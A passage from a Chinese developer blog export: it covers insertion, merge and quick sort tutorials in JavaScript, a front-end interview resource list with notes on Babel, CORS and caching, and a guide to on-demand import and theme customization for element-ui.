先来看 1,由于 1 比 2 小,需要将 1 插入到 2 的前面,做法很简单,两两交换位置即可,[1, 2, 7, 9, 5, 8]。 然后,我们要把 7 插入到左边的部分,由于 7 已经比 2 大了,表明它是目前最大的元素,保持位置不变,[1, 2, 7, 9, 5, 8]。 同理,9 也不需要做位置变动,[1, 2, 7, 9, 5, 8]。 接下来,如何把 5 插入到合适的位置。首先比较 5 和 9,由于 5 比 9 小,两两交换,[1, 2, 7, 5, 9, 8],继续,由于 5 比 7 小,两两交换,[1, 2, 5, 7, 9, 8],最后,由于 5 比 2 大,此轮结束。 最后一个数是 8,由于 8 比 9 小,两两交换,[1, 2, 5, 7, 8, 9],再比较 7 和 8,发现 8 比 7 大,此轮结束。到此,插入排序完毕。 插入排序代码示例123456789101112131415161718192021// 插入排序const insertionSort = function (arr) &#123; const len = arr.length for (let i = 1; i &lt; len; i++) &#123; let current = arr[i] for (let j = i - 1; j &gt;= 0; j--) &#123; // current 小于 j 指向的左侧值,将 j 指向左侧值右移一位 if (current &lt; arr[j]) &#123; arr[j + 1] = arr[j] &#125; else &#123; // 否则将 current 插入到 j 位置,跳出内循环 arr[j] = current break &#125; &#125; &#125;&#125;const arr = [2, 1, 7, 9, 5, 8]insertionSort(arr)console.log('arr: ', arr) 插入排序算法分析插入排序空间复杂度假设数组的元素个数是 n,由于在整个排序的过程中,是直接在给定的数组里面进行元素的两两交换,空间复杂度是 O(1)。 插入排序时间复杂度 给定的数组按照顺序已经排好。只需要进行 n-1 次的比较,两两交换次数为 0,时间复杂度是 O(n)。这是最好的情况。 给定的数组按照逆序排列。在这种情况下,我们需要进行 n(n-1)/2 次比较,时间复杂度是 O(n2)。这是最坏的情况。 给定的数组杂乱无章。在这种情况下,平均时间复杂度是 O(n2)。 由此可见,和冒泡排序一样,插入排序的时间复杂度是 O(n2),并且它也是一种稳定的排序算法。 归并排序(Merge Sort)归并排序基本思想核心是分治,就是把一个复杂的问题分成两个或多个相同或相似的子问题,然后把子问题分成更小的子问题,直到子问题可以简单的直接求解,最原问题的解就是子问题解的合并。归并排序将分治的思想体现得淋漓尽致。 归并排序实现一开始先把数组从中间划分成两个子数组,一直递归地把子数组划分成更小的子数组,直到子数组里面只有一个元素,才开始排序。 排序的方法就是按照大小顺序合并两个元素,接着依次按照递归的返回顺序,不断地合并排好序的子数组,直到最后把整个数组的顺序排好。 归并排序代码示例1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950// 归并排序const mergeSort = function (arr, lo, hi) &#123; if (lo === undefined) &#123; lo = 0 &#125; if (hi === undefined) &#123; hi = arr.length - 1 &#125; // 判断是否剩下最后一个元素 if (lo &gt;= hi) return // 从中间将数组分成两部分 let mid = lo + Math.floor((hi - lo) / 2) console.log('mid', mid) // 分别递归将左右两边排好序 mergeSort(arr, lo, mid) mergeSort(arr, mid + 1, hi) // 将排好序的左右两半合并 merge(arr, lo, mid, hi)&#125;const merge = function (arr, lo, mid, hi) &#123; // 复制一份原来的数组 const copy = [...arr] // 定义一个 k 指针表示从什么位置开始修改原来的数组, // i 指针表示左边半的起始位置 // j 指针便是右半边的其实位置 let k = lo let i = lo let j = mid + 1 while (k &lt;= hi) &#123; if (i &gt; mid) &#123; arr[k++] = copy[j++] &#125; else if (j &gt; hi) &#123; arr[k++] = copy[i++] &#125; else if (copy[j] &lt; copy[i]) &#123; arr[k++] = copy[j++] &#125; else &#123; arr[k++] = copy[i++] &#125; &#125;&#125;const arr = [2, 1, 7, 9, 5, 8]mergeSort(arr)console.log('arr: ', arr) 其中,While 语句比较,一共可能会出现四种情况。 左半边的数都处理完毕,只剩下右半边的数,只需要将右半边的数逐个拷贝过去。 右半边的数都处理完毕,只剩下左半边的数,只需要将左半边的数逐个拷贝过去就好。 右边的数小于左边的数,将右边的数拷贝到合适的位置,j 指针往前移动一位。 左边的数小于右边的数,将左边的数拷贝到合适的位置,i 指针往前移动一位。 归并排序例题分析利用归并排序算法对数组 [2, 1, 7, 9, 5, 8] 进行排序。 归并排序解题思路 首先不断地对数组进行切分,直到各个子数组里只包含一个元素。接下来递归地按照大小顺序合并切分开的子数组,递归的顺序和二叉树里的前向遍历类似。 合并 [2] 和 [1] 为 [1, 2]。 子数组 [1, 2] 和 [7] 合并。 右边,合并 [9] 和 [5]。 然后合并 [5, 9] 和 [8]。 最后合并 [1, 2, 7] 和 [5, 8, 9] 成 [1, 2, 5, 8, 9],就可以把整个数组排好序了。 合并数组 [1, 2, 7] 和 [5, 8, 9] 的操作步骤如下。 把数组 [1, 2, 7] 用 L 表示,[5, 8, 9] 用 R 表示。 合并的时候,开辟分配一个新数组 T 保存结果,数组大小应该是两个子数组长度的总和 然后下标 i、j、k 分别指向每个数组的起始点。 接下来,比较下标 i 和 j 所指向的元素 L[i] 和 R[j],按照大小顺序放入到下标 k 指向的地方,1 小于 5。 移动 i 和 k,继续比较 L[i] 和 R[j],2 比 5 小。 i 和 k 继续往前移动,5 比 7 小。 移动 j 和 k,继续比较 L[i] 和 R[j],7 比 8 小。 这时候,左边的数组已经处理完毕,直接将右边数组剩余的元素放到结果数组里就好。 合并之所以能成功,先决条件必须是两个子数组都已经分别排好序了。 归并排序算法分析归并排序空间复杂度由于合并 n 个元素需要分配一个大小为 n 的额外数组,合并完成之后,这个数组的空间就会被释放,所以算法的空间复杂度就是 O(n)。归并排序也是稳定的排序算法。 归并排序时间复杂度归并算法是一个不断递归的过程。 举例:数组的元素个数是 n,时间复杂度是 T(n) 的函数。 解法:把这个规模为 n 的问题分成两个规模分别为 n/2 的子问题,每个子问题的时间复杂度就是 T(n/2),那么两个子问题的复杂度就是 2×T(n/2)。当两个子问题都得到了解决,即两个子数组都排好了序,需要将它们合并,一共有 n 个元素,每次都要进行最多 n-1 次的比较,所以合并的复杂度是 O(n)。由此我们得到了递归复杂度公式:T(n) = 2×T(n/2) + O(n)。 对于公式求解,不断地把一个规模为 n 的问题分解成规模为 n/2 的问题,一直分解到规模大小为 1。如果 n 等于 2,只需要分一次;如果 n 等于 4,需要分 2 次。这里的次数是按照规模大小的变化分类的。 以此类推,对于规模为 n 的问题,一共要进行 log(n) 层的大小切分。在每一层里,我们都要进行合并,所涉及到的元素其实就是数组里的所有元素,因此,每一层的合并复杂度都是 O(n),所以整体的复杂度就是 O(nlogn)。 快速排序(Quick Sort)快速排序基本思想快速排序也采用了分治的思想。 快速排序实现把原始的数组筛选成较小和较大的两个子数组,然后递归地排序两个子数组。 举例:把班级里的所有同学按照高矮顺序排成一排。 解法:老师先随机地挑选了同学 A,让所有其他同学和同学 A 比高矮,比 A 矮的都站在 A 的左边,比 A 高的都站在 A 的右边。接下来,老师分别从左边到右边的同学里选择了同学 B 和同学 C,然后不断的筛选和排列下去。 在分成较小和较大的两个子数组过程中,如何选定一个基准值(也就是同学 A、B、C 等)尤为关键。 快速排序实现例题分析对数组[2,1,7,9,5,8]进行排序。 快速排序解题思路 按照快速排序的思想,首先把数组筛选成较小和较大的两个子数组。 随机从数组里选取一个数作为基准值,比如 7,于是原始的数组就被分成里两个子数组。注意:快速排序是直接在原始数组里进行各种交换操作,所以当子数组被分割出去的时候,原始数组里的排列也被改变了。 接下来,在较小的子数组里选 2 作为基准值,在较大的子数组里选 8 作为基准值,继续分割子数组。 继续将元素个数大于 1 的子数组进行划分,当所有子数组里的元素个数都为 1 的时候,原始数组也被排好序了。 快速排序代码示例12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758// 快速排序const quickSort = function (arr, lo, hi) &#123; if (lo === undefined) &#123; lo = 0 &#125; if (hi === undefined) &#123; hi = arr.length - 1 &#125; // 判断是否只剩下一个元素,是,则直接返回 if (lo &gt;= hi) return // 利用 partition 函数找到一个随机的基准点 const p = partition(arr, lo, hi) // 递归对基准点左半边和右半边的数进行排序 quickSort(arr, lo, p - 1) quickSort(arr, p + 1, hi)&#125;// 交换数组位置const swap = function (arr, i, j) &#123; let temp = arr[i] arr[i] = arr[j] arr[j] = temp&#125;// 随机获取位置索引const randomPos = function (lo, hi) &#123; return lo + Math.floor(Math.random() * (hi - lo))&#125;const partition = function (arr, lo, hi) &#123; const pos = randomPos(lo, hi) console.log('pos: ', pos) swap(arr, pos, hi) let i = lo let j = lo // 从左到右用每个数和基准值比较,若比基准值小,则放在指针 i 指向的位置 // 循环完毕后,i 指针之前的数都比基准值小 while (j &lt; hi) &#123; if (arr[j] &lt;= arr[hi]) &#123; swap(arr, i++, j) &#125; j++ &#125; // 末尾的基准值放置到指针 i 的位置, i 指针之后的数都比基准值大 swap(arr, i, j) // 返回指针 i,作为基准点的位置 return i&#125;const arr = [2, 1, 7, 9, 5, 8]quickSort(arr)console.log(arr) 快速排序算法分析快速排序时间复杂度1、最优情况:被选出来的基准值都是当前子数组的中间数。这样的分割,能保证对于一个规模大小为 n 的问题,能被均匀分解成两个规模大小为 n/2 子问题(归并排序也采用了相同的划分方法),时间复杂度就是: T(n)=2xT(n/2) + O(n)。 把规模大小为 n 的问题分解成 n/2 的两个子问题时,和基准值进行了 n-1 次比较,复杂度就是 O(n)。很显然,在最优情况下,快速排序的复杂度也是 O(nlogn)。 2、最坏情况:基准值选择了子数组里的最大后者最小值。 每次都把子数组分成了两个更小的子数组,其中一个的长度为 1,另外一个的长度只比原子数组少 1。 举例:对于数组来说,每次挑选的基准值分别是 9、8、7、5、2。 解法:划分过程和冒泡排序的过程类似。 算法复杂度为 O(n^2)。 提示:可以通过随机地选取基准值来避免出现最坏的情况。 快速排序空间复杂度和归并排序不同,快速排序在每次递归的过程中,只需要开辟 O(1) 的存储空间来完成交换操作实现直接对数组的修改,又因为递归次数为 logn,所以它的整体空间复杂度完全取决于压堆栈的次数,因此,它的空间复杂度是 O(logn)]]></content>
<tags>
<tag>javascript</tag>
<tag>algorithm</tag>
</tags>
</entry>
<entry>
<title><![CDATA[FE-resource]]></title>
<url>%2F2020%2F11%2F04%2FFE-resource%2F</url>
<content type="text"><![CDATA[面筋霖呆呆的中大厂面试记录及 2 年前端薪资对比(附赠学习方法) 面试分享:两年工作经验成功面试阿里 P6 总结 大厂面试过程复盘(微信/阿里/头条,附答案篇) 「查缺补漏」我的 2020 前端面试秘籍,为你秋招保驾护航 最新的前端大厂面经(详解答案) 2020 三元同学春招阿里淘系、阿里云、字节跳动面经 &amp; 个人成长经验分享 | 掘金技术征文 面试被问项目经验不用慌,按这个步骤回答绝对惊艳面试 STAR 法则: Situation 事情是在什么情况下发生,基于一个怎样的背景; TASK 你是如何明确你的任务的; Action 针对这样的情况分析,你采用了什么行动方式,具体做了哪些工作内容; Result 结果怎样,带来什么价值,在整个过程中你学到了什么,有什么新的体会。 Babel parse AST 的过程 在解析 AST 过程中有连个阶段:词法分析和语法分析。 词法分析阶段:字符串形式的代码转换为令牌(tokens)流,令牌类似于 AST 中的节点; 语法分析阶段:把一个令牌流转化为 AST 形式,同时把令牌中的信息转化为 AST 表述结构。 Babel 在处理一个节点时,是以访问者的形式获取节点信息并进行相关操作。这种方式是通过 Vistor 对象来完成的,Vistor 对象中定义来对于各种节点的访问函数,这样就可以针对不同的节点做出不同的处理。 Webpack 插件问题点: Compiler 和 Compilation 以及它们的区别? Webpack 是通过什么方式实现来插件之间的关系以及保证它们的有序性? 开发插件时需要依据当前配置是否使用来某个其他的插件而做下一步决定,如何判断 Webpack 当前使用来哪些插件; 开发插件过程中借鉴了其他插件的思路,我对这个插件源码的理解? 阿里前端攻城狮们写了一份前端面试题答案,请查收 浏览器原理一文搞懂 V8 引擎的垃圾回收 图解浏览器基本工作原理 从整体到细节概括了浏览器的工作原理:大的方面:浏览器的工作由由进程(Process)和线程(Thread)协作完成。一个进程可能有多个线程,进程与进程之间可通过 IPC 进行通信,浏览器是通过 browser process 对其他进程(比如 network process、plugin process、render process、GPU process)进行调度、分工。小的方面:浏览器具体渲染某个页面,这部分是由 render process 完成,加载解析 html,构建 DOM 树。加载解析 css,遍历 DOM 节点计算样式和位置信息,构建成布局(layout)树。主线程会遍历布局树,生成绘制记录,然后创建层(layer)树。合成器(compositor)将每层分成多个磁贴,栅格线程栅格每一个磁贴,栅格完成后创建合成帧,然后发送给 GPU 显示。passive 应用原理:页面滚动,render process 通知合成器生成新的帧,如果合成器发现有绑定事件,会通知并等待主线程的响应,才合成下一帧,这样就造成了页面卡顿。passive 参数就是为了告诉合成器不用等待,直接去生成新帧。 计算机网络查缺补漏」巩固你的 HTTP 知识体系 【原】老生常谈-从输入 url 到页面展示到底发生了什么 从 URL 输入到页面展现到底发生什么? 预测最近面试会考 Cookie 的 SameSite 属性 跨域资源共享 CORS 详解 阮一峰老师对 CORS 的定义理解 CORS 完全手冊讲述小明提交表单的故事,一层层讲解 CORS 在现实应用出错的一些情景: 首先用 fetch 跨域请求会报错 mode to &#39;no-cors&#39; ,需要后端加上 Access-Contron-Allow-Origin: origin 响应头制定某个或者所有域名,告诉浏览器允许的 origin。 如果设置 cookie,需要后端响应头加上 set-cookie 和 Access-Control-Allow-credential: origin,如果前端的请求需要携带 cookie,前端也许加上这个请求头 Access-Control-Allow-credential: true。 如果 Access-Contron-Allow-Origin: * 则不能携带 cookie,Access-Control-Allow-credential: true 不起作用。 跨域请求分为简单请求和非简单请求。判断是简单请求:1. method 是 GET、HEAD 或 POST,2. 没有自订 header,3. Content-Type是这三种:application/x-www-form-urlencoded、multipart/form-data 和 text-plain。其他都是非简单请求。非简单请求在正是请求前都会发送一个预检请求(preflight request),也就是 method 为 OPTIONS 请求,浏览器会加上两个 header:Access-Control-Request-Headers 和 Access-Control-Request-Method,告诉服务器正式请求的请求头和请求方法,后端需要返回响应头 Access-Control-Allow-Headers 让浏览器通过预检,浏览器才会发送正式请求。 Access-Control-max-age: second 可以在 second 秒内不针对每个请求进行预检,减少资源浪费。 若想渠道自订 header ,需要后端的响应头设置 Access-Control-Expose-Headers: self-header,other-header 指定。 缓存浅解强缓存和协商缓存 HTTP 中的 ETag 是如何生成的? 在 HTTP 缓存中协商缓存有一种是 ETag,它可以看成是资源的指纹,资源发生改变就会生成一个新的 ETag。Etag:W/&quot;&lt;etag_value&gt;&quot; \W(大小写敏感)表示使用弱验证器,容易生成,不利于比较。相反,强验证器难生成。没有明确指定生成 ETag 值的方法,通常使用内容的散列、最后修改时间戳的哈希值或者简单地使用版本号。本地强缓存过期后,询问协商缓存,请求报文 If-None-Match: &quot;xx-xxxx&quot;,内容没有发生改变,响应报文 ETag: &quot;xx-xxxx&quot;。 Last-Modified 和 ETag 比较: 精度上,ETag 要优于 Last-Modified。Last-Modified 的时间单位是秒,如果某个文件在 1 秒被改变多次,那么它们的 Last-Modified 并没有体现出来修改,但是 ETag 每次都会改变,从而确保了精度;此外,如果是负载均衡服务器,各个服务生成的 Last-Modified 也可能不一致。 性能上,ETag 要逊于 Last-Modified,毕竟 Last-Modified 只需要记录时间,而 ETag 需要服务器通过消息摘要算法计算出一个 hash 值。 优先级上,在资源新鲜度校验时,服务器会优先考虑 ETag。即如果条件请求的请求透你同时携带 If-Modified-Since 和 If-None-Match 字段,会优先判断资源的 ETag 值是否发生变化。 性能优化前端性能优化 24 条建议(2020) 前端虚拟列表实现原理 实现前提,列表容器定高,容器内有一个影子容器,高度为算出的实际内容高度,这样就有真实的滚动条及滚动效果。而真实展示给用户视窗中的是绝对定位的元素构成的真实容器,影子容器滚动,真实容器也跟着滚动,监听影子容器的 onscroll 事件,获取影子容器的 scrollTop,算出视窗中第一项渲染的数据索引 startIndex 有没有更新,有,则重新截取列表数据渲染可视区。虽然说是重新渲染,但是下一帧和当前滚动位置元素一样,所以用户无感知。 确定影子容器的高度: 列表内容每一项定高,影子容器的高度=每一项定高 x total 列表内容每一项不定高,可以初始假设每一项定高,算出影子容器高度,这样容器可滚动,待真实容器渲染后,算出每一项元素的高度、位置信息,再去更新影子容器高度。算出了影子容器的高度及其每一项的位置信息,又已知 scrollTop,可以通过二分法找到当前的 startIndex。 react 原理从零开始实现一个 ReactVuex、Flux、Redux、Redux-saga、Dva、MobX HTML5种文件上传攻略实现一个大文件上传和断点续传 文件分片 利用 Blob 原生方法 Blob.prototype.slice 切割文件,每个切片并行上传,服务端创建临时目录存储上传分片,前端上传完毕,服务端利用 createWriteStream 创建可写流,将切片整合成一个文件,然后删除临时分片的临时文件。 断点续传 前端记录当前上传的分片信息到 localStorage,下次续传重新读取,不过这种方式的前提是不换浏览器和更改文件名。严格的解决方案是按照文件内容生成 hash 值标志作为文件名:用 spark-md5 可以实现,不过当读取的文件内容特别大时,会出现“假死“,解决方案可以在 webWorker 线程中计算。 文件秒传 服务端已经存在了上传的资源,当再次上传时直接提示上传成功 工程化@babel/plugin-transform-runtime 到底是什么?关于 Babel 那些事儿不容错过的 Babel7 知识 Babel 是将 ES6+版本的代码转换为向后兼容的 JavaScript 语法,以便能运行在当前和旧版本的浏览器或其他环境中。 Babel 只负责编译新标准引入的新语法,比如 Arrow function、Class、ES Module 等,它不会编译原生对象新引入的方法和 API,比如 Array.includes,Array.from,Object.assign,Map,Set 等,这些需要通过 Polyfill 来解决。 preset 预设是插件 plugins 的集合,预设数组加载的顺序是从从右到左,为了向后兼容,一般用户会把 prest-es2015 写在 stage-0 的前面。 @babel/preset-env 可以根据配置的目标环境(browserlist),生成插件列表来编译,设置参数 useBuiltIns: “usage” 可以按照用户使用 ES6 API 相应引入 Polyfill。 @babel/plugin-transform-runtime 可以让 Babel 在编译中具名引入 @babel/runtime 模块复用辅助函数,从而减小打包文件体积 。 @babel/plugin-transform-runtime 通常仅在开发时使用,但是运行时最终代码需要依赖 @babel/runtime。 直接使用 @babel/runtime 会转换原型方法,污染全局环境,可以使用 @babel/plugin-transform-runtime 配合 corejs3 可以处理辅助函数重复问题,还可以加载 polyfill,不污染全局环境。 V7.4.0 已经被废弃,需要单独安装 core-js 和 regenerator-runtime 模块。 嘿,不要给 async 函数写那么多 try/catch 了 Webpack 插件开发如此简单! 一个 Webpack 插件的构成: 一个具名 JavaScript 函数; 在它的原型上定义 apply 方法; 指定一个触及到 webpack 本身的事件钩子; 操作 webpack 内部的实例特定数据; 在实现功能后调用 webpack 提供的 callback。 【编译篇】AST 实现函数错误的自动上报实现全局数据上报中 try catch 在 babel 编译层面上的拦截 微前端究竟是什么,可以带来什么收益 微前端概念是从微服务概念扩展而来的,摒弃大型单体方式,将前端整体分解为小而简单的块,这些块可以独立开发、测试和部署,同时仍然聚合为一个产品出现在客户面前。可以理解微前端是一种将多个可独立交付的小型前端应用聚合为一个整体的架构风格。 DevOps 到底是什么意思? 从瀑布式开发、敏捷开发到如今的 DevOps 开发。DevOps 是一组过程、方法与系统的统称,用于促进开发、技术运营和质量保证部门之间的沟通、协作与整合。最终将开发、测试运维紧密联系在一起。 js 原理实现JavaScript 专题之跟着 underscore 学防抖]]></content>
<tags>
<tag>interview</tag>
</tags>
</entry>
<entry>
<title><![CDATA[彻底学会element-ui按需引入和纯净主题定制]]></title>
<url>%2F2020%2F10%2F12%2Felement-replace-theme%2F</url>
<content type="text"><![CDATA[前言手上有些项目用的element-ui,刚好有空琢磨一下怎么减小打包文件大小和打包速度方面,为了演示实验,用 vue-cli 生成初始项目,在这仅对 element-ui 主题和组件方面来优化。 1vue init webpack vuecli 完整引入完整地将 ui 和样式引入。 12import ElementUI from 'element-ui'import 'element-ui/lib/theme-chalk/index.css' 在页面简单使用 2 个组件,看看效果。 12345678910111213&lt;el-tabs v-model="activeName" @tab-click="handleClick"&gt; &lt;el-tab-pane label="用户管理" name="first"&gt;用户管理&lt;/el-tab-pane&gt; &lt;el-tab-pane label="配置管理" name="second"&gt;配置管理&lt;/el-tab-pane&gt; &lt;el-tab-pane label="角色管理" name="third"&gt;角色管理&lt;/el-tab-pane&gt; &lt;el-tab-pane label="定时任务补偿" name="fourth"&gt;定时任务补偿&lt;/el-tab-pane&gt;&lt;/el-tabs&gt;&lt;el-steps :active="2" align-center&gt; &lt;el-step title="步骤1" description="这是一段很长很长很长的描述性文字"&gt;&lt;/el-step&gt; &lt;el-step title="步骤2" description="这是一段很长很长很长的描述性文字"&gt;&lt;/el-step&gt; &lt;el-step title="步骤3" description="这是一段很长很长很长的描述性文字"&gt;&lt;/el-step&gt; &lt;el-step title="步骤4" description="这是一段很长很长很长的描述性文字"&gt;&lt;/el-step&gt;&lt;/el-steps&gt; 再看一下打包后的资源大小情况npm run build --report。 123456789101112131415Hash: 40db03677fe41f7369f6Version: webpack 3.12.0Time: 20874ms Asset Size Chunks Chunk Names static/css/app.cb8131545d15085cee647fe45f1d5561.css 234 kB 1 [emitted] app static/fonts/element-icons.732389d.ttf 56 kB [emitted] static/js/vendor.a753ce0919c8d42e4488.js 824 kB 0 [emitted] [big] vendor static/js/app.8c4c97edfce9c9069ea3.js 3.56 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js 857 bytes 2 [emitted] manifest static/fonts/element-icons.535877f.woff 28.2 kB [emitted]static/css/app.cb8131545d15085cee647fe45f1d5561.css.map 332 kB [emitted] static/js/vendor.a753ce0919c8d42e4488.js.map 3.26 MB 0 [emitted] vendor static/js/app.8c4c97edfce9c9069ea3.js.map 16.6 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js.map 4.97 kB 2 [emitted] manifest index.html 506 bytes [emitted] 发现打包后提取公共模块 static/js/vendor.js 有 824kb 再看一下各个模块占用情况: 发现 elment-ui.common.js 占用最大。所有模块资源总共有 642kb。怎么才能减小打包后的大小呢?很容易就会想到 ui 的引入和样式的引入中,实际我们只使用了三个组件,却整体都被打包了,在这里引入这三个组件即可。 按需引入组件样式新建一个 element-variables.scss 文件(为什么是 SCSS 文件,后面自定义主题会用到)。 12345678/*icon字体路径变量*/$--font-path: "~element-ui/lib/theme-chalk/fonts";/*按需引入用到的组件的scss文件和基础scss文件*/@import "~element-ui/packages/theme-chalk/src/base.scss";@import "~element-ui/packages/theme-chalk/src/rate.scss";@import "~element-ui/packages/theme-chalk/src/button.scss";@import "~element-ui/packages/theme-chalk/src/row.scss"; 按需引入组件新建一个 element-config.js 文件,将项目用到的 element 组件引入。 12345678910import &#123; Tabs, TabPane, Steps, Step &#125; from 'element-ui'export default &#123; install(V) &#123; V.use(Tabs) V.use(TabPane) V.use(Steps) V.use(Step) &#125;&#125; 第一次优化后打包分析将以上 element-variables.scss 和 element-config.js 引入到 main.js 中。 1234import ElementUI from '@/assets/js/element-config'import '@/assets/css/element-variables.scss'Vue.use(ElementUI) 貌似上面一切都很顺理成章,打包后大小会减小。 123456789101112131415Hash: 2ef987c23a5d612e00e1Version: webpack 3.12.0Time: 17430ms Asset Size Chunks Chunk Names static/css/app.3c70d8d75c176393318b232a345e3f0f.css 38.8 kB 1 [emitted] app static/fonts/element-icons.732389d.ttf 56 kB [emitted] static/js/vendor.caa5978bb1eb0a15b097.js 824 kB 0 [emitted] [big] vendor static/js/app.5ebb19489355acc3167b.js 3.64 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js 857 bytes 2 [emitted] manifest static/fonts/element-icons.535877f.woff 28.2 kB [emitted]static/css/app.3c70d8d75c176393318b232a345e3f0f.css.map 53.9 kB [emitted] static/js/vendor.caa5978bb1eb0a15b097.js.map 3.26 MB 0 [emitted] vendor static/js/app.5ebb19489355acc3167b.js.map 17 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js.map 4.97 kB 2 [emitted] manifest index.html 506 bytes [emitted] 结果可知,static/js/vendor.js 还是 824kb! 再看各个模块占用情况: WHAT? 竟然模块都没什么变化,岂不是竹篮打水,事与愿违。 再次打包优化尝试后来查到有人同样遇到这个问题,提出一个issues#6362,原来只引入需要的element-ui组件,webpack还是把整体的 UI 库和样式都打包了,需要一个 webpack 的 babel 插件 babel-plugin-component,这样才能真正按需引入打包。这块其实被写到官方文档更换 自定义主题 的配置了。 于是 npm i babel-pugin-componet -D 安装后,在增加 .babelrc 文件插件配置 12345678910111213141516171819202122&#123; "presets": [ ["env", &#123; "modules": false, "targets": &#123; "browsers": ["&gt; 1%", "last 2 versions", "not ie &lt;= 8"] &#125; &#125;], "stage-2" ], "plugins": [ "transform-vue-jsx", "transform-runtime", [ "component", &#123; "libraryName": "element-ui", "styleLibraryName": "theme-chalk" &#125; ] ]&#125; 页面运行正常,再次打包。 123456789101112131415Hash: f182f70cb4ceee63b5d5Version: webpack 3.12.0Time: 10912ms Asset Size Chunks Chunk Names static/css/app.95c94c90ab11fdd4dfb413718f444d0c.css 39.9 kB 1 [emitted] app static/fonts/element-icons.732389d.ttf 56 kB [emitted] static/js/vendor.befb0a8962f74af4b7e2.js 157 kB 0 [emitted] vendor static/js/app.5343843cc20a78e80469.js 3.86 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js 857 bytes 2 [emitted] manifest static/fonts/element-icons.535877f.woff 28.2 kB [emitted]static/css/app.95c94c90ab11fdd4dfb413718f444d0c.css.map 93.5 kB [emitted] static/js/vendor.befb0a8962f74af4b7e2.js.map 776 kB 0 [emitted] vendor static/js/app.5343843cc20a78e80469.js.map 17.1 kB 1 [emitted] app static/js/manifest.2ae2e69a05c33dfc65f8.js.map 4.97 kB 2 [emitted] manifest index.html 506 bytes [emitted] static/js/vendor.js 确实变小了,157kB。再来看各个模块分析图。 模块总共 157.93KB,少了 5 倍! 更换主题-覆盖样式element-ui 的 theme-chalk 使用 SCSS 编写,如果在自己的项目中也是用 SCSS,那么可以直接在项目中改变样式变量,因此可以在前面新建的 element-variables.scss 文件用新的主题颜色变量覆盖即可。 1234567891011121314151617/*** 覆盖主题色*//*主题颜色变量*/$--color-primary: #f0f;/*icon字体路径变量*/$--font-path: '~element-ui/lib/theme-chalk/fonts';/* 引入全部默认样式 会引入没用到的组件样式 */// @import '~element-ui/packages/theme-chalk/src/index';/* 按需引入用到的组件的scss文件和基础scss文件 */@import '~element-ui/packages/theme-chalk/src/base.scss';@import '~element-ui/packages/theme-chalk/src/rate.scss';@import '~element-ui/packages/theme-chalk/src/button.scss';@import '~element-ui/packages/theme-chalk/src/row.scss'; 现在我们的主题就变成了预期效果 可能你已经注意到了,这里推荐的是分别引入用到的组件样式,而不是引入全部默认样式,因为这样会导致引入没有使用到的组件样式。比如当前案例中我们没有使用到 ColorPicker 组件,在打包输出的 css 文件中确有该组件样式。 更换主题-纯净样式通过以上优化可以按需的将所用到组件打包,排除没用到的组件,减少包的大小。但是,还是存在一个小瑕疵:一个用到的组件样式会被两次打包,一次是默认的样式,一次是覆盖的样式。 出现这个问题是由于我们在两个地方对样式进行引入了,一个是在 .babelrc 文件中通过 babel-plugin-component 插件按需引入 element-ui 组件及其默认样式,一个是在 element-variables.scss 文件中覆盖默认样式生成的自定义样式。 所以怎样将二者结合,即babel-plugin-component 插件按需引入的组件样式改成用户自定义样式,达成纯净样式目标呢?这里就要用到 element-ui 的主题工具进行深层次的主题定制。 主题和主题工具安装首先安装主题工具 element-theme,可以全局安装也可安装在项目目录。这里推荐安装在项目录,方便别人 clone 项目时能直接安装依赖并启动。 1npm i element-theme -D 然后安装白垩主题,可以从 npm 安装或者从 GitHub 拉取最新代码。 12345# 从 npmnpm i element-theme-chalk -D# 从 GitHubnpm i https://github.com/ElementUI/theme-chalk -D 主题构建element-theme 支持的构建有 Node API 和 CLI 方式。 通过 CLI 构建方式如果全局安装可以在命令行里通过 et 调用工具,如果安装在当前目录下,需要通过 node_modules/.bin/et 访问到命令。执行 -i(--init) 初始化变量文件。默认输出到 element-variables.scss,当然你可以传参数指定文件输出目录。如果你想启用 watch 模式,实时编译主题,增加 -w(--watch) 参数;如果你在初始化时指定了自定义变量文件,则需要增加 -c(--config) 参数,并带上你的变量文件名。默认情况下编译的主题目录是放在 ./theme 下,你可以通过 -o(--out) 参数指定打包目录。 12345678# 初始化变量文件et --init [file path]# 实时编译et --watch [--config variable file path] [--out theme path]# 编译et [--config variable file path] [--out theme path] [--minimize] 通过 Node API 构建方式引入 element-theme 通过 Node API 形式构建 12345678910111213141516var et = require('element-theme')// 实时编译模式et.watch(&#123; config: 'variables/path', out: 'output/path'&#125;)// 编译et.run(&#123; config: 'variables/path', // 配置参数文件路径 默认`./element-variables.css` out: 'output/path', // 输出目录 默认`./theme` minimize: false, // 压缩文件 browsers: ['ie &gt; 9', 'last 2 versions'], // 浏览器支持 components: ['button', 'input'] // 选定组件构建自定义主题&#125;) 应用 Node API 构建自定义主题在这里,为了让主题的构建更加直观和被项目共享,采用 Node API 方式构建,在项目根目录下新建 theme.js文件。 12345678910const et = require('element-theme')// 第一步生成样式变量文件// et.init('./src/theme.scss')// 第二步根据实际需要修改该文件// ...// 第三步根据该变量文件编译出自定义的主题样式文件et.run(&#123; config: './src/theme.scss', out: './src/theme'&#125;) 在 package.json 中增加 scripts 指令 12345&#123; "scripts": &#123; "theme": "node theme.js" &#125;&#125; 这样就可以通过 npm run theme 指令来编译主题了。编译过程: 运行该指令初始化主题变量文件 theme.scss。 根据实际需要修改这个文件里主题样式。 再运行该指令编译输出自定义的主题样式文件放在 theme 目录下。 这样就完成了所有自定义主题样式的构建。要想将这些自定义样式随着组件按需引入,需要将 .babelrc 文件中按需引入插件 babel-plugin-component 参数 styleLibraryName 从原本的 element-ui 默认样式目录变成现在自定义目录 ~src/theme。 1234567891011"plugins": [ "transform-vue-jsx", "transform-runtime", [ "component", &#123; "libraryName": "element-ui", "styleLibraryName": "~src/theme" &#125; ] ] 一切准备就绪,项目打包,打包后的 css 文件中只有唯一自定义样式,没有了默认样式,也不存在没被引入组件的样式,实现了我们预期的纯净的自定义样式! 123456789101112131415Hash: c442bcf9d471bddfdccfVersion: webpack 3.12.0Time: 10174ms Asset Size Chunks Chunk Names static/css/app.52d411d0c1b344066ec1f456355aa7b9.css 38.8 kB 1 